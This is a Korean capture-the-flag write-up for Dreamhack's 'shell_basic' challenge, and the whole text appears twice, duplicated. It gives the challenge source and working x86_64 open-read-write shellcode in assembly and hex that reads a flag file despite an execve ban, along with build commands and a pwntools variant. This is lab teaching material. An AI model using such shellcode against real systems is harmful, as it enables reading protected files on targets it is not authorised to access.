문제
문제 파일에는 shell_basic ELF 파일과 shell_basic.c가 들어있다.
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}main() 함수를 제외한 나머지 alarm_handler(), init(), banned_execve()는 문제 환경 설정을 위한 함수이다.
main()을 살펴보자.
mmap 함수는 매모리에 파일을 매핑해주는 함수이다. 이번 문제에서는 그냥 쉘코드를 잘 실행할 수 있게 도와준다.
shellcode에 0x1000만큼 입력을 받고, 실행시켜준다. 그냥 execve를 사용하지 않고 문제를 풀면 될 것 같다.
dreamhack 강의에 나온대로 ORW shellcode를 사용해서 풀면 될 것 같다.
section .text
global _start
_start:
; flag path push
push 0x00
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
;open
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
;read
mov rdi, rax
mov rsi, rsp
sub rsi, 0x50
mov rdx, 0x50
mov rax, 0x0
syscall
;write
mov rdi, 1
mov rax, 0x1
syscall
;Exit
xor rdi, rdi
mov rax, 0x3c
syscall문제의 Descriptoin에서 flag의 경로를 알려주었으므로 flag의 경로를 push 해주고, flag를 open해서 read하고, 출력해준다. 어셈을 직접 짜보니까 x86_64 레지스터들에 대해 익숙해지고 syscall table을 이해하는데 큰 도움이 된다.
nasm -f elf64 shellcode.asm
objdump -d shellcode.o
objcopy --dump-section .text=shellcode.bin shellcode.o
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin어셈블리 코드를 덤프 파일로 만들고, 거기에서 쉘코드 형식에 맞게 변환해서 shellcode.bin에 넣어준다.
'\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x50\xba\x50\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05\x0a'
익스플로잇
은 드림핵 정책에 따라 공개하지 않습니다,,
추가로 위처럼 ORW 쉘코드를 어셈으로 하나하나 짤수도 있지만, pwntools에는 shellcraft라는 아주 좋은 기능이 있다. 그냥 아래처럼 우리가 원하는 함수를 넣으면 쉘코드로 뚝딱 만들어준다.
shellcode = asm(shellcraft.open(path))
shellcode += asm(shellcraft.read('rax','rsp',0x100))
shellcode += asm(shellcraft.write(1,'rsp',0x100))그래도 직접 짜보는게 큰 도움이 되는 것 같다!!
문제
문제 파일에는 shell_basic ELF 파일과 shell_basic.c가 들어있다.
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}main() 함수를 제외한 나머지 alarm_handler(), init(), banned_execve()는 문제 환경 설정을 위한 함수이다.
main()을 살펴보자.
mmap 함수는 매모리에 파일을 매핑해주는 함수이다. 이번 문제에서는 그냥 쉘코드를 잘 실행할 수 있게 도와준다.
shellcode에 0x1000만큼 입력을 받고, 실행시켜준다. 그냥 execve를 사용하지 않고 문제를 풀면 될 것 같다.
dreamhack 강의에 나온대로 ORW shellcode를 사용해서 풀면 될 것 같다.
section .text
global _start
_start:
; flag path push
push 0x00
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
;open
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
;read
mov rdi, rax
mov rsi, rsp
sub rsi, 0x50
mov rdx, 0x50
mov rax, 0x0
syscall
;write
mov rdi, 1
mov rax, 0x1
syscall
;Exit
xor rdi, rdi
mov rax, 0x3c
syscall문제의 Descriptoin에서 flag의 경로를 알려주었으므로 flag의 경로를 push 해주고, flag를 open해서 read하고, 출력해준다. 어셈을 직접 짜보니까 x86_64 레지스터들에 대해 익숙해지고 syscall table을 이해하는데 큰 도움이 된다.
nasm -f elf64 shellcode.asm
objdump -d shellcode.o
objcopy --dump-section .text=shellcode.bin shellcode.o
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin어셈블리 코드를 덤프 파일로 만들고, 거기에서 쉘코드 형식에 맞게 변환해서 shellcode.bin에 넣어준다.
'\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x50\xba\x50\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05\x0a'
익스플로잇
은 드림핵 정책에 따라 공개하지 않습니다,,
추가로 위처럼 ORW 쉘코드를 어셈으로 하나하나 짤수도 있지만, pwntools에는 shellcraft라는 아주 좋은 기능이 있다. 그냥 아래처럼 우리가 원하는 함수를 넣으면 쉘코드로 뚝딱 만들어준다.
shellcode = asm(shellcraft.open(path))
shellcode += asm(shellcraft.read('rax','rsp',0x100))
shellcode += asm(shellcraft.write(1,'rsp',0x100))그래도 직접 짜보는게 큰 도움이 되는 것 같다!!
